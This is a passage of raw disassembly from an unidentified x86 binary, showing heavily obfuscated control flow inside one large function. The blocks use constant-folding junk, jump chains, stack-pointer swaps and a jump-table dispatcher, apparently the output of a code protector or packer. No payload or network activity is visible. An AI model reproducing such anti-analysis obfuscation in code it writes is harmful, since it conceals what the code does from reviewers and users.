--------------------------------------------------------------------------- loc_59B349: ; CODE XREF: sub_580566+215CFj mov word ptr [esp-38h+arg_30], dx push ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59B355: ; CODE XREF: sub_580566+1145Ej sub edi, 4 xchg edi, [esp-4Ah+arg_40+2] pop esp mov [esp-4Eh+arg_44+2], esp add [esp-4Eh+arg_44+2], 4 mov eax, [esp-4Eh+arg_44+2] sub esp, 4 mov [esp-4Ah+arg_40+2], esi push esp pop esi jmp loc_599294 ; --------------------------------------------------------------------------- loc_59B379: ; CODE XREF: sub_580566+209E0j add edx, ecx push dword ptr [edx] sub [esp-46h+arg_3C+2], 33912BDDh pop eax jmp loc_590C70 ; --------------------------------------------------------------------------- loc_59B38A: ; CODE XREF: sub_580566+23D75j dec ebp jmp loc_5A10A5 ; --------------------------------------------------------------------------- loc_59B390: ; CODE XREF: sub_580566+222DCj pop ebx sub ebx, 4629EE53h jmp loc_5A5A20 ; --------------------------------------------------------------------------- loc_59B39C: ; CODE XREF: sub_580566+1D1B5j sub esi, 4E8B58E5h jmp loc_59AF4F ; --------------------------------------------------------------------------- loc_59B3A7: ; CODE XREF: sub_580566+207EDj sub edi, 0FF8722FBh mov eax, edi pop edi add edi, eax pop eax xor edi, [esp-56h+arg_4E] xor [esp-56h+arg_4E], edi jmp loc_591C69 ; --------------------------------------------------------------------------- loc_59B3BE: ; CODE XREF: sub_580566+16E02j mov [esp-40h+arg_38], ebp mov ebp, 69B187A3h add edx, 328162B9h add edx, ebp sub edx, 328162B9h jmp loc_59698C ; --------------------------------------------------------------------------- loc_59B3D9: ; CODE XREF: sub_580566+1A011j push edx mov edx, 348D6F9Dh push 0D04h mov [esp-38h+arg_30], edx jmp loc_598E5E ; --------------------------------------------------------------------------- loc_59B3EC: ; CODE XREF: sub_580566+1CBBFj mov esi, 5E266F5Ah and esi, 696D41DCh sub esp, 4 jmp loc_5A1F9F ; --------------------------------------------------------------------------- loc_59B3FF: ; CODE XREF: sub_580566+22CBBj xchg ebx, [esp-34h+arg_2C] pop esp add word ptr [esp-38h+arg_30], ax pushf jmp loc_59E29B ; --------------------------------------------------------------------------- loc_59B40D: ; CODE XREF: sub_580566+24176j sub ecx, ebp pop ebp jmp loc_5980DA ; --------------------------------------------------------------------------- loc_59B415: ; CODE XREF: sub_580566+1B938j pop esi jmp loc_595EC5 ; --------------------------------------------------------------------------- loc_59B41B: ; CODE XREF: sub_580566+1CCEFj sub esi, edx jmp loc_5920E9 ; --------------------------------------------------------------------------- loc_59B422: ; CODE XREF: sub_580566+10889j push eax mov eax, edi push ecx push eax push ebp push ebx push edi mov edi, 28347D05h inc edi neg edi neg edi shl edi, 4 add edi, 356C6D64h add edi, 0A2620AC8h mov ebx, edi jmp loc_59CFAF ; --------------------------------------------------------------------------- loc_59B44A: ; CODE XREF: sub_580566+1D30Dj mov edi, [esp-38h+arg_30] add esp, 4 push esi mov esi, 954D8C6Dh sub ecx, esi jmp loc_597D1D ; --------------------------------------------------------------------------- loc_59B460: ; CODE XREF: sub_580566+1B5CCj and eax, 11E5FAAh jmp loc_5A4C36 ; --------------------------------------------------------------------------- loc_59B46A: ; CODE XREF: sub_580566+197F1j push [esp-40h+arg_38] mov ebx, [esp-3Ch+arg_34] push ebp jmp loc_596CCF ; --------------------------------------------------------------------------- loc_59B476: ; CODE XREF: sub_580566+247E4j add ebx, 4 jmp loc_5A3B35 ; --------------------------------------------------------------------------- loc_59B481: ; CODE XREF: sub_580566+23090j add ebp, 4 xchg ebp, [esp-38h+arg_30] jmp loc_5A0B1D ; --------------------------------------------------------------------------- loc_59B48F: ; CODE XREF: sub_580566+1F2BEj sub al, 0B4h sub al, bl jmp loc_595E28 ; --------------------------------------------------------------------------- loc_59B498: ; CODE XREF: sub_580566+11B89j sub esi, 5A6F408Bh mov edx, [esp-44h+arg_3C] add esp, 4 jmp loc_59EDE4 ; --------------------------------------------------------------------------- loc_59B4A9: ; CODE XREF: sub_580566+24105j add esp, 4 jmp loc_5A5B94 ; --------------------------------------------------------------------------- loc_59B4B4: ; CODE XREF: sub_580566+11F8Dj xchg edx, [esp-34h+arg_2C] pop esp add eax, 2846418Ah add eax, ebx jmp loc_59DC7C ; --------------------------------------------------------------------------- loc_59B4C4: ; CODE XREF: sub_580566+1A19Ej pop edx sub ebp, 65E55148h and ecx, ebp mov ebp, [esp-2Eh+arg_24+2] add esp, 4 shr ecx, 7 push 26B5h mov [esp-2Eh+arg_24+2], edx push 3F35h mov [esp-2Ah+arg_20+2], ebx push [esp-2Ah+arg_20+2] pop edx jmp loc_5A0D6A ; --------------------------------------------------------------------------- loc_59B4F2: ; CODE XREF: sub_580566+1863Fj mov cl, 0C3h add bl, cl jmp loc_59A1D5 ; --------------------------------------------------------------------------- loc_59B4FB: ; CODE XREF: sub_580566+1E5D0j add eax, ebx jmp loc_5A08DA ; --------------------------------------------------------------------------- loc_59B502: ; CODE XREF: sub_580566+11CA0j pop ebp push esi push [esp-4Ch+arg_48] mov esi, [esp-48h+arg_40] push ebp mov ebp, esp jmp loc_5A31EB ; --------------------------------------------------------------------------- loc_59B513: ; CODE XREF: sub_580566+1A1DBj pop ebp push [esp-30h+arg_28] pop edi add esp, 4 xor ecx, [esp-34h+arg_2C] jmp loc_5A3110 ; --------------------------------------------------------------------------- loc_59B526: ; CODE XREF: sub_580566+15001j mov [esp-46h+arg_3C+2], esi mov esi, esp sub esp, 4 mov [esp-42h+arg_38+2], ebp jmp loc_597035 ; --------------------------------------------------------------------------- loc_59B536: ; CODE XREF: sub_580566+203CBj push esp pop edi push ebx push ecx mov ecx, 18DD10FDh push edi mov edi, 0E722EF07h add ecx, edi mov edi, [esp-36h+arg_2C+2] jmp loc_595CFC ; --------------------------------------------------------------------------- loc_59B54F: ; CODE XREF: sub_580566+1CCE3j pop edi jmp loc_591C4D ; --------------------------------------------------------------------------- loc_59B555: ; CODE XREF: sub_580566+23EDAj mov si, word ptr [esp-3Ah+arg_30+2] push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp-36h+arg_2C+2] pop esp jmp loc_59AA6A ; --------------------------------------------------------------------------- loc_59B571: ; CODE XREF: sub_580566+17E75j xor bl, al movzx eax, al jmp dword ptr [edi+eax*4] ; --------------------------------------------------------------------------- popa jmp locret_597168 ; --------------------------------------------------------------------------- loc_59B57F: ; CODE XREF: sub_580566+155F3j sub esp, 4 mov [esp-22h+arg_1A], ebp jmp loc_593EC2 ; --------------------------------------------------------------------------- loc_59B58D: ; CODE XREF: sub_580566+11865j xchg ebx, [esp-58h+arg_4E+2] pop esp jmp loc_5A086D ; --------------------------------------------------------------------------- loc_59B596: ; CODE XREF: sub_580566+248BCj push eax push 0B227110h jmp loc_594073 ; --------------------------------------------------------------------------- loc_59B5A1: ; CODE XREF: sub_580566+1BBBEj sub ebx, 0F41FA85Ah push eax mov eax, 5D7B4B3Eh sub eax, 1 xor eax, 202B5B58h add eax, 0F6E050AEh sub ecx, eax jmp loc_59BF7F ; --------------------------------------------------------------------------- loc_59B5C1: ; CODE XREF: sub_580566+12BE4j push 0B93h jmp loc_597AB3 ; --------------------------------------------------------------------------- loc_59B5CB: ; CODE XREF: sub_580566+12D20j mov edx, 7901A12Ah sub edx, esi push [esp-46h+arg_3C+2] pop esi add esp, 4 jmp loc_596335 ; --------------------------------------------------------------------------- loc_59B5E1: ; CODE XREF: sub_580566+130F4j push esi jmp loc_596DB9 ; --------------------------------------------------------------------------- loc_59B5E7: ; CODE XREF: sub_580566+11CA7j mov edi, [esp-4Ch+arg_44] add esp, 4 add ebx, ecx jmp loc_59E09E ; --------------------------------------------------------------------------- loc_59B5F7: ; CODE XREF: sub_580566+1A5D8j xor [esp-56h+arg_4E], eax xor eax, [esp-56h+arg_4E] jmp loc_59FCA2 ; --------------------------------------------------------------------------- loc_59B602: ; CODE XREF: sub_580566+11046j push edx mov edx, 3FCC5708h jmp loc_5A4AC4 ; --------------------------------------------------------------------------- loc_59B60D: ; CODE XREF: sub_580566+1B923j or ebp, 57263585h sub ebp, 0C510B5E4h mov edx, ebp pop ebp add esi, edx pop edx add esi, ebp sub esi, 3A2749B1h pop ebp pop ebx push 2600h jmp loc_5A308F ; --------------------------------------------------------------------------- push [esp-3Ch+arg_34] mov edx, [esp-38h+arg_30] add esp, 4 jmp loc_5A09B2 ; --------------------------------------------------------------------------- loc_59B641: ; CODE XREF: sub_580566+23202j add edi, 52380D4Dh xchg ebp, edi not ebp jmp loc_591367 ; --------------------------------------------------------------------------- loc_59B650: ; CODE XREF: sub_580566+16903j mov ebp, esp add ebp, 4 jmp loc_592266 ; --------------------------------------------------------------------------- loc_59B65D: ; CODE XREF: sub_580566+20582j and eax, 38A659A7h jmp loc_5A4900 ; --------------------------------------------------------------------------- loc_59B667: ; CODE XREF: sub_580566+1875Dj pop ecx pop ebx push edi mov edi, 3AAA6F9Dh push ecx mov ecx, 3E7E174Eh or edi, ecx jmp loc_59975A ; --------------------------------------------------------------------------- mov cx, word ptr [esp-4Ah+arg_40+2] push eax mov eax, esp jmp loc_5A065F ; --------------------------------------------------------------------------- loc_59B688: ; CODE XREF: sub_580566+1F067j pop ebx pop ecx jmp loc_5922C2 ; --------------------------------------------------------------------------- loc_59B68F: ; CODE XREF: sub_580566+1C525j xchg ebp, [esp-4Eh+arg_44+2] pop esp add edi, 4 add edi, 4 push 79C2h mov [esp-4Eh+arg_44+2], edi jmp loc_596A87 ; --------------------------------------------------------------------------- loc_59B6A9: ; CODE XREF: sub_580566+1AA47j pop ecx sub bl, ah jmp loc_595D23 ; --------------------------------------------------------------------------- loc_59B6B1: ; CODE XREF: sub_580566+1A6F6j pop eax pop edx pop eax mov ch, bl jmp loc_5954C9 ; --------------------------------------------------------------------------- loc_59B6BB: ; CODE XREF: sub_580566+129EAj pop ebx sub edx, 4 jmp loc_5A4CC5 ; --------------------------------------------------------------------------- loc_59B6C7: ; CODE XREF: sub_580566+2114Cj push edx mov edx, 75D54863h sub edx, 39D2139Ch jmp loc_59AA72 ; --------------------------------------------------------------------------- loc_59B6D8: ; CODE XREF: sub_580566+15F75j push ecx jmp loc_5A47AE ; --------------------------------------------------------------------------- mov cx, word ptr [esp-1Ah+arg_12] jmp loc_59E7B1 ; --------------------------------------------------------------------------- loc_59B6E7: ; CODE XREF: sub_580566+11C6Aj add esp, 4 push [esp-4Ch+arg_44] pop ecx add esp, 4 jmp loc_592F80 ; --------------------------------------------------------------------------- loc_59B6F6: ; CODE XREF: sub_580566+15F04j xor edx, 414D1D9Bh sub esp, 4 mov [esp-2Eh+arg_24+2], edx pop esi mov edx, [esp-32h+arg_28+2] add esp, 4 sub ebp, esi pop esi xor ebp, [esp-3Ah+arg_30+2] xor [esp-3Ah+arg_30+2], ebp xor ebp, [esp-3Ah+arg_30+2] mov esp, [esp-3Ah+arg_30+2] mov [esp-3Ah+arg_30+2], eax jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59B720: ; CODE XREF: sub_580566+23A1Fj xor dh, ah jmp loc_598563 ; --------------------------------------------------------------------------- loc_59B727: ; CODE XREF: sub_580566+19422j inc edx push eax mov eax, esp jmp loc_591745 ; --------------------------------------------------------------------------- loc_59B730: ; CODE XREF: sub_580566+1AB5Fj push edx mov edx, 6BBB23C7h sub edx, 7EAB1D53h sub edx, 0A7E9F047h xor ebx, edx pop edx xor ebx, 240829C4h add ebx, 55AEF5C1h sub eax, ebx mov ebx, [esp-3Ch+arg_34] add esp, 4 jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59B761: ; CODE XREF: sub_580566+119B5j shr ebp, 2 jmp loc_5A2A5A ; --------------------------------------------------------------------------- loc_59B769: ; CODE XREF: sub_580566+1632Aj mov esi, 7BDD32A2h jmp loc_592010 ; --------------------------------------------------------------------------- push [esp-30h+arg_28] mov eax, [esp-2Ch+arg_24] add esp, 4 push eax push 4EA3h push esp jmp loc_5A00F3 ; --------------------------------------------------------------------------- loc_59B788: ; CODE XREF: sub_580566+231CDj mov esi, ebp pop ebp pop ecx sub edx, esi pop esi add edx, edi jmp loc_59F60B ; --------------------------------------------------------------------------- loc_59B796: ; CODE XREF: sub_580566+2412Fj sub al, cl jmp loc_5A542E ; --------------------------------------------------------------------------- loc_59B79D: ; CODE XREF: sub_580566+1F154j add esi, ebx pop ebx sub esi, 0F4C19158h mov edi, esi pop esi add [esp-38h+arg_34], edi pop edi sub [esp-3Ch+arg_34], 7E1E16E7h jmp loc_595EA6 ; --------------------------------------------------------------------------- loc_59B7BA: ; CODE XREF: sub_580566+1CA2Cj mov [esp-3Ch+arg_34], ebp push 1002D9F3h push [esp-38h+arg_30] pop ebp sub esp, 4 jmp loc_5A162E ; --------------------------------------------------------------------------- loc_59B7CE: ; CODE XREF: sub_580566+18657j push ebp mov ebp, esp jmp loc_5A36FD ; --------------------------------------------------------------------------- loc_59B7D6: ; CODE XREF: sub_580566+1A92Ej neg ch jmp loc_598C9B ; --------------------------------------------------------------------------- loc_59B7DD: ; CODE XREF: sub_580566+22A7Ej push esi mov esi, 0AFD4F85h sub esp, 4 mov [esp-1Eh+arg_16], esi xchg edi, [esp-1Eh+arg_16] neg edi jmp loc_5A3F53 ; --------------------------------------------------------------------------- loc_59B7F6: ; CODE XREF: sub_580566+24671j sub edi, ebp pop ebp pop esi push dword ptr [esp+0] pop ecx add esp, 4 push 78F1h jmp loc_5A370B ; --------------------------------------------------------------------------- loc_59B80B: ; CODE XREF: sub_580566+210C3j mov eax, 4 add edi, eax jmp loc_59E691 ; --------------------------------------------------------------------------- loc_59B817: ; DATA XREF: sub_580566+104EAo push dword ptr [esp+0] mov eax, [esp] push ebx mov ebx, esp jmp loc_593DC2 ; --------------------------------------------------------------------------- loc_59B825: ; CODE XREF: sub_580566+10738j mov eax, 154B675Ch jmp loc_5A401A ; --------------------------------------------------------------------------- loc_59B82F: ; CODE XREF: sub_580566+1A1A7j push dword ptr [esp+4] mov ebx, [esp-1Eh+arg_16] add esp, 4 pop dword ptr [esp] jmp loc_59BD67 ; --------------------------------------------------------------------------- mov ax, [esp+0] push edi push esp jmp loc_59BD4B ; --------------------------------------------------------------------------- loc_59B84C: ; CODE XREF: sub_580566+19568j or edx, esi pop esi add edx, 8B83955Eh add edi, 711A5087h add edi, edx sub edi, 711A5087h mov edx, [esp-38h+arg_30] jmp loc_5A19F1 ; --------------------------------------------------------------------------- loc_59B86B: ; CODE XREF: sub_580566+1443Fj add edx, 6C7D6EBEh add edx, ecx sub edx, 6C7D6EBEh pop ecx sub esp, 4 mov [esp-44h+arg_3C], edx jmp loc_5A14E5 ; --------------------------------------------------------------------------- loc_59B888: ; CODE XREF: sub_580566+1A581j mov ebx, edi jmp loc_591982 ; --------------------------------------------------------------------------- loc_59B88F: ; CODE XREF: sub_580566+1F7E5j pop dword ptr [esp+0] pop esp mov [esp-5Ch+arg_52+2], ebp mov ebp, 0E780A8Ch jmp loc_594CA3 ; --------------------------------------------------------------------------- loc_59B8A0: ; CODE XREF: sub_580566+169FAj add esp, 4 or cl, 38h add cl, 28h push 6122h jmp loc_5A2FA3 ; --------------------------------------------------------------------------- loc_59B8B6: ; CODE XREF: sub_580566+18E82j mov bh, 0C6h xor dl, bh pop ebx jmp loc_59C734 ; --------------------------------------------------------------------------- loc_59B8C0: ; CODE XREF: sub_580566+2086Bj push ebx push ecx jmp loc_5A24BE ; --------------------------------------------------------------------------- loc_59B8C7: ; CODE XREF: sub_580566+1D43Fj push ebp jmp loc_591FDA ; --------------------------------------------------------------------------- loc_59B8CD: ; CODE XREF: sub_580566+19520j push eax mov eax, 4A966FFFh push edx mov edx, 5C50A0Ch add eax, edx mov edx, [esp-18h+arg_E+2] add esp, 4 xor eax, 25DC01E3h add eax, 490B319Dh sub edi, 135B6DAEh jmp loc_59D59D ; --------------------------------------------------------------------------- loc_59B8F9: ; CODE XREF: sub_580566+2368Dj inc edi xor edi, 212B2FBBh push ecx mov ecx, 33CF2A42h jmp loc_59CB1C ; --------------------------------------------------------------------------- loc_59B90B: ; CODE XREF: sub_580566+16F9Aj mov edx, [esp-40h+arg_38] add esp, 4 and eax, ebx pop ebx or edx, eax shl edx, 1 push ebx push esp mov ebx, [esp-40h+arg_38] add esp, 4 add ebx, 4 sub ebx, 4 xchg ebx, [esp-44h+arg_3C] mov esp, [esp-44h+arg_3C] jmp loc_59FB72 ; --------------------------------------------------------------------------- loc_59B937: ; CODE XREF: sub_580566+1E20Aj pop ecx xor eax, ebp mov ebp, [esp-48h+arg_40] jmp loc_59154C ; --------------------------------------------------------------------------- loc_59B942: ; CODE XREF: sub_580566+16A1Fj mov [esp-36h+arg_2C+2], edi mov edi, 4 sub [esp-36h+arg_30+2], 27AA3B1Eh jmp loc_5926AA ; --------------------------------------------------------------------------- loc_59B957: ; CODE XREF: sub_580566+21EC1j neg ch push dx mov dh, 0D1h xor ch, dh pop dx and ch, 0D8h add ch, 0B2h sub ch, 0A2h sub dl, ch mov ecx, [esp-36h+arg_2C+2] jmp loc_5976F8 ; --------------------------------------------------------------------------- loc_59B974: ; CODE XREF: sub_580566+12F78j xor ebp, 167664A4h sub ebp, 6FD02A79h inc ebp not ebp add ebp, 6730636Eh push esi jmp loc_59D313 ; --------------------------------------------------------------------------- loc_59B98F: ; CODE XREF: sub_580566+243AFj pop edx add ch, ah pop eax or ch, 0EBh xor ch, 1Ch xor al, ch push [esp-48h+arg_40] jmp loc_5A2EAF ; --------------------------------------------------------------------------- loc_59B9A3: ; CODE XREF: sub_580566+10F91j add ecx, edi jmp loc_59646F ; --------------------------------------------------------------------------- loc_59B9AA: ; CODE XREF: sub_580566+1C6C4j sub esi, edi mov edi, [esp-2Eh+arg_24+2] jmp loc_59DAA6 ; --------------------------------------------------------------------------- loc_59B9B4: ; CODE XREF: sub_580566+1D052j mov edi, 3663251Dh neg edi add edi, 6FDC0449h or edi, 2406672Ch xor edi, 1F3F8FD1h jmp loc_592F93 ; --------------------------------------------------------------------------- loc_59B9D2: ; CODE XREF: sub_580566+18977j xor esi, [esp-28h+arg_20] xor [esp-28h+arg_20], esi jmp loc_594849 ; --------------------------------------------------------------------------- loc_59B9DD: ; CODE XREF: sub_580566+22E2Ej xor edx, esi pop esi jmp loc_592E77 ; --------------------------------------------------------------------------- loc_59B9E5: ; CODE XREF: sub_580566+22781j pop ecx or ebp, eax jmp loc_596B67 ; --------------------------------------------------------------------------- loc_59B9ED: ; CODE XREF: sub_580566+19513j add esi, edi jmp loc_5933D3 ; --------------------------------------------------------------------------- loc_59B9F4: ; CODE XREF: sub_580566+21E64j xchg esi, ecx not esi xchg esi, ecx sub esp, 4 mov [esp-32h+arg_28+2], edi mov edi, 4E777A77h jmp loc_59290E ; --------------------------------------------------------------------------- loc_59BA0A: ; CODE XREF: sub_580566+1FB00j add esi, ebx pop ebx xchg esi, [esp-36h+arg_2C+2] mov esp, [esp-36h+arg_2C+2] mov eax, [esp-36h+arg_2C+2] jmp loc_5A1D12 ; --------------------------------------------------------------------------- loc_59BA1B: ; CODE XREF: sub_580566+19FE4j add ebx, 0F59D8B5h sub ecx, ebx jmp loc_59E88D ; --------------------------------------------------------------------------- loc_59BA28: ; CODE XREF: sub_580566+21F53j mov esp, [esp-38h+arg_30] add bx, 0D30h sub bx, 0C31h sub bx, ax add bx, 0C31h sub bx, 0D30h push si jmp loc_59ED1A ; --------------------------------------------------------------------------- loc_59BA49: ; CODE XREF: sub_580566+1F2C5j add ebp, 192BD0h add ecx, ebp pop ebp xor ecx, [esp-3Ah+arg_30+2] jmp loc_59F3C5 ; --------------------------------------------------------------------------- loc_59BA5A: ; CODE XREF: sub_580566+2242Cj push edx mov edx, 2A2A439Eh inc edx sub edx, 158D4BC2h not edx neg edx sub edx, 976DD3Eh mov esi, edx pop edx sub [esp-3Ah+arg_3C+2], esi pop esi push ebx jmp loc_598F00 ; --------------------------------------------------------------------------- loc_59BA7F: ; CODE XREF: sub_580566+182CCj mov ebp, esp jmp loc_5A388E ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax adc word ptr [esp-0Ah+arg_4+2], ax pushf jmp loc_590A9B ; --------------------------------------------------------------------------- loc_59BA96: ; CODE XREF: sub_580566+1877Cj add al, 0D0h push ebx mov bh, 4Fh and bh, 15h neg bh shl bh, 8 shr bh, 1 shl bh, 7 push ecx mov ch, 53h xor ch, 0EEh sub bh, ch jmp loc_591FD0 ; --------------------------------------------------------------------------- loc_59BAB5: ; CODE XREF: sub_580566+10F59j mov ebx, esp add ebx, 4 push eax mov eax, 4 add ebx, eax pop eax sub esp, 4 mov [esp-1Eh+arg_16], ebx push [esp-1Eh+arg_1A] pop ebx pop [esp-1Eh+arg_16] pop esp push edx mov edx, esp add edx, 4 sub edx, 4 jmp loc_598865 ; --------------------------------------------------------------------------- loc_59BAE6: ; CODE XREF: sub_580566+15C03j mov ecx, esp add ecx, 4 push edx push ecx mov ecx, 68524E6Bh mov edx, 97ADB199h add edx, ecx pop ecx jmp loc_59D323 ; --------------------------------------------------------------------------- loc_59BB02: ; CODE XREF: sub_580566+15370j mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp-3Ah+arg_30+2] pop esp mov [esp-3Eh+arg_34+2], ebx push [esp-3Eh+arg_38+2] pop ebx jmp loc_59D9F6 ; --------------------------------------------------------------------------- loc_59BB1E: ; CODE XREF: sub_580566+1E61Cj sub esp, 4 jmp loc_5A23E2 ; --------------------------------------------------------------------------- loc_59BB26: ; CODE XREF: sub_580566+1A788j add eax, ebp pop ebp and eax, 73E233D3h inc eax shl eax, 6 jmp loc_59B460 ; --------------------------------------------------------------------------- loc_59BB37: ; CODE XREF: sub_580566+2288Cj sub edi, 0E806062h mov eax, edi pop edi push ecx mov ecx, eax mov edx, ecx pop ecx pop eax add ebp, edx pop edx add ebp, 4 xchg ebp, [esp-3Ah+arg_30+2] jmp loc_59C956 ; --------------------------------------------------------------------------- loc_59BB55: ; CODE XREF: sub_580566+20AEAj mov esi, esp add esi, 4 sub esi, 4 xchg esi, [esp-3Ah+arg_30+2] pop esp jmp loc_591016 ; --------------------------------------------------------------------------- loc_59BB69: ; CODE XREF: sub_580566+1E192j push esp jmp loc_5A1CD7 ; --------------------------------------------------------------------------- loc_59BB6F: ; CODE XREF: sub_580566+24CD4j mov edx, [esp-3Ah+arg_30+2] add esp, 4 add esp, 4 push ecx mov ecx, 20256A9h push 5AF5h jmp loc_59DFE6 ; --------------------------------------------------------------------------- loc_59BB8B: ; CODE XREF: sub_580566+202DAj sub esp, 4 mov [esp-36h+arg_2C+2], esp add [esp-36h+arg_2C+2], 4 pop edx push 6FC7h jmp loc_596178 ; --------------------------------------------------------------------------- loc_59BBA6: ; CODE XREF: sub_580566+20051j push ebx mov ebx, 0E6D0A84h sub ebx, 685B4984h shl ebx, 8 shr ebx, 3 add ebx, 1EDEE69Ah jmp loc_592928 ; --------------------------------------------------------------------------- loc_59BBC3: ; CODE XREF: sub_580566+218ADj push eax mov eax, 17C10C0Eh jmp loc_593AD0 ; --------------------------------------------------------------------------- loc_59BBCE: ; CODE XREF: sub_580566+2235Fj not [esp-2Eh+arg_24+2] pop edx push 542h mov [esp-2Eh+arg_24+2], eax push ebx mov ebx, 0 push edx mov edx, ebx mov eax, edx pop edx pop ebx add eax, 1F8D0E33h push 632Dh mov [esp-2Ah+arg_20+2], esi mov esi, 63533064h add eax, esi jmp loc_59AEEF ; --------------------------------------------------------------------------- loc_59BC00: ; CODE XREF: sub_580566+1730Fj add esp, 4 add ecx, 0C3D0BC01h mov ebx, ecx push [esp-14h+arg_A+2] pop ecx push edi jmp loc_591760 ; --------------------------------------------------------------------------- loc_59BC18: ; CODE XREF: sub_580566+20B70j sub bl, 44h add bl, 78h jmp loc_5953F9 ; --------------------------------------------------------------------------- loc_59BC23: ; CODE XREF: sub_580566+204C5j push eax mov eax, 47C13A57h neg eax push ebp mov ebp, 8B9EDC26h jmp loc_5A3E4A ; --------------------------------------------------------------------------- loc_59BC36: ; CODE XREF: sub_580566+15A9Ej push edi mov edi, esp jmp loc_596370 ; --------------------------------------------------------------------------- loc_59BC3E: ; CODE XREF: sub_580566+12DE0j sub ebx, 0EE056062h mov ecx, ebx jmp loc_59E567 ; --------------------------------------------------------------------------- loc_59BC4B: ; CODE XREF: sub_580566+1FD9Dj push ebp mov ebp, 1363054Dh or ebp, 3CFD4603h xor ebp, 169B7C77h jmp loc_59525C ; --------------------------------------------------------------------------- loc_59BC62: ; CODE XREF: sub_580566+1C0C9j add edx, 44915E4Ah push ebx push 7B7Dh jmp loc_592384 ; --------------------------------------------------------------------------- loc_59BC73: ; CODE XREF: sub_580566+1466Aj add esi, 51C16F87h jmp loc_5A0B0E ; --------------------------------------------------------------------------- loc_59BC7E: ; CODE XREF: sub_580566+1C1FBj xor eax, 28E94CFBh jmp loc_59FA52 ; --------------------------------------------------------------------------- loc_59BC88: ; CODE XREF: sub_580566+148DAj pop esp push ebx mov bh, 87h push eax mov ah, 0C5h jmp loc_592001 ; --------------------------------------------------------------------------- loc_59BC94: ; CODE XREF: sub_580566+142DEj xor [esp-34h+arg_2C], ebp xor ebp, [esp-34h+arg_2C] mov esp, [esp-34h+arg_2C] mov [esp-34h+arg_2C], eax add [esp-34h+arg_2C], 738D25F9h push [esp-34h+arg_2C] push [esp-30h+arg_28] pop eax add esp, 4 add esp, 4 jmp loc_5A059C ; --------------------------------------------------------------------------- loc_59BCBC: ; CODE XREF: sub_580566+1796Bj mov esi, eax pop eax add edx, esi pop esi push ebx jmp loc_59D5C6 ; --------------------------------------------------------------------------- loc_59BCC8: ; CODE XREF: sub_580566+1A086j push ebp mov ebp, 4 sub ebx, 4A9E7E49h add ebx, ebp add ebx, 4A9E7E49h jmp loc_5A06A6 ; --------------------------------------------------------------------------- loc_59BCE1: ; CODE XREF: sub_580566+1C559j pop eax not eax jmp loc_5A0E6F ; --------------------------------------------------------------------------- loc_59BCE9: ; CODE XREF: sub_580566+1E1B5j push 67h mov [esp-16h+arg_E], edi sub esp, 4 mov [esp-12h+arg_A], esp add [esp-12h+arg_A], 4 mov edi, [esp-12h+arg_A] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_5A333E ; --------------------------------------------------------------------------- loc_59BD12: ; CODE XREF: sub_580566+213D7j mov [esp-0Eh+arg_8+2], ebp jmp loc_5A21B7 ; --------------------------------------------------------------------------- loc_59BD1A: ; CODE XREF: sub_580566+25631j mov ebx, [esp-0Eh+arg_8+2] push ebp mov ebp, esp add ebp, 4 jmp loc_599AED ; --------------------------------------------------------------------------- loc_59BD2B: ; CODE XREF: sub_580566+182F2j mov [esp-8+arg_4], ebp push esp pop ebp add ebp, 4 push ecx push esp jmp loc_590FB2 ; --------------------------------------------------------------------------- loc_59BD3D: ; CODE XREF: sub_580566+1F2A6j add edx, ebx pop ebx xchg edx, [esp+0] mov esp, [esp+0] jmp loc_5A15E6 ; --------------------------------------------------------------------------- loc_59BD4B: ; CODE XREF: sub_580566+1B2E1j push [esp-1Eh+arg_16] pop edi add esp, 4 push ebp push edx mov edx, 4 mov ebp, edx pop edx sub edi, 61540413h jmp loc_59BE8E ; --------------------------------------------------------------------------- loc_59BD67: ; CODE XREF: sub_580566+1B2D6j mov esp, [esp+0] bswap eax push 3FA3h jmp loc_5A47F6 ; --------------------------------------------------------------------------- loc_59BD76: ; CODE XREF: sub_580566+1DC01j mov ecx, 6D8D7EF6h dec ecx jmp loc_591447 ; --------------------------------------------------------------------------- loc_59BD81: ; CODE XREF: sub_580566+192A4j mov ebp, 19DF7918h sub ebp, 3FA72FF5h not ebp shl ebp, 4 jmp loc_5A11BB ; --------------------------------------------------------------------------- loc_59BD96: ; CODE XREF: sub_580566+139B6j mov ebp, [esp-4Eh+arg_44+2] add esp, 4 jmp loc_5988DD ; --------------------------------------------------------------------------- loc_59BDA4: ; CODE XREF: sub_580566+154B4j add ecx, eax pop eax jmp loc_59E7DE ; --------------------------------------------------------------------------- loc_59BDAC: ; CODE XREF: sub_580566+1BB97j sub ax, bx push edi mov di, 5355h not di xor di, 679Ah add di, 0A164h jmp loc_59279F ; --------------------------------------------------------------------------- loc_59BDC6: ; CODE XREF: sub_580566+15B72j inc edi inc edi push ebx mov ebx, 15E8372Fh jmp loc_59D61C ; --------------------------------------------------------------------------- loc_59BDD3: ; CODE XREF: sub_580566+1ED14j sub esp, 4 mov [esp-42h+arg_38+2], ebp mov esi, [esp-42h+arg_38+2] add esp, 4 pop ebp add esi, 2DB7324Ch jmp loc_595975 ; --------------------------------------------------------------------------- loc_59BDEE: ; CODE XREF: sub_580566+146E7j mov edx, 0FFFFFFFFh add esi, edx pop edx push ebp mov ebp, 7DDB31A9h inc ebp xor ebp, edi jmp loc_597182 ; --------------------------------------------------------------------------- loc_59BE04: ; CODE XREF: sub_580566+189E5j mov esi, 1E976DDBh jmp loc_59460B ; --------------------------------------------------------------------------- loc_59BE0E: ; CODE XREF: sub_580566+1C6ADj add edi, 2BC042F3h dec edi push 4EDFh mov [esp-1Eh+arg_16], ebx mov ebx, 3627CD01h xor edi, ebx push [esp-1Eh+arg_16] jmp loc_5917FC ; --------------------------------------------------------------------------- loc_59BE2C: ; CODE XREF: sub_580566+1275Fj pop esp mov [esp-4Ch+arg_44], eax push ecx mov cl, 49h jmp loc_5A3D52 ; --------------------------------------------------------------------------- loc_59BE38: ; CODE XREF: sub_580566+1C9C2j push ecx mov cl, al mov dh, cl pop ecx mov eax, [esp-48h+arg_40] push edi mov edi, esp add edi, 4 add edi, 4 jmp loc_5A02BB ; --------------------------------------------------------------------------- loc_59BE52: ; CODE XREF: sub_580566+12955j and ecx, 0CA14D9Eh xor ecx, 0C816980h mov edi, ecx pop ecx and eax, edi push 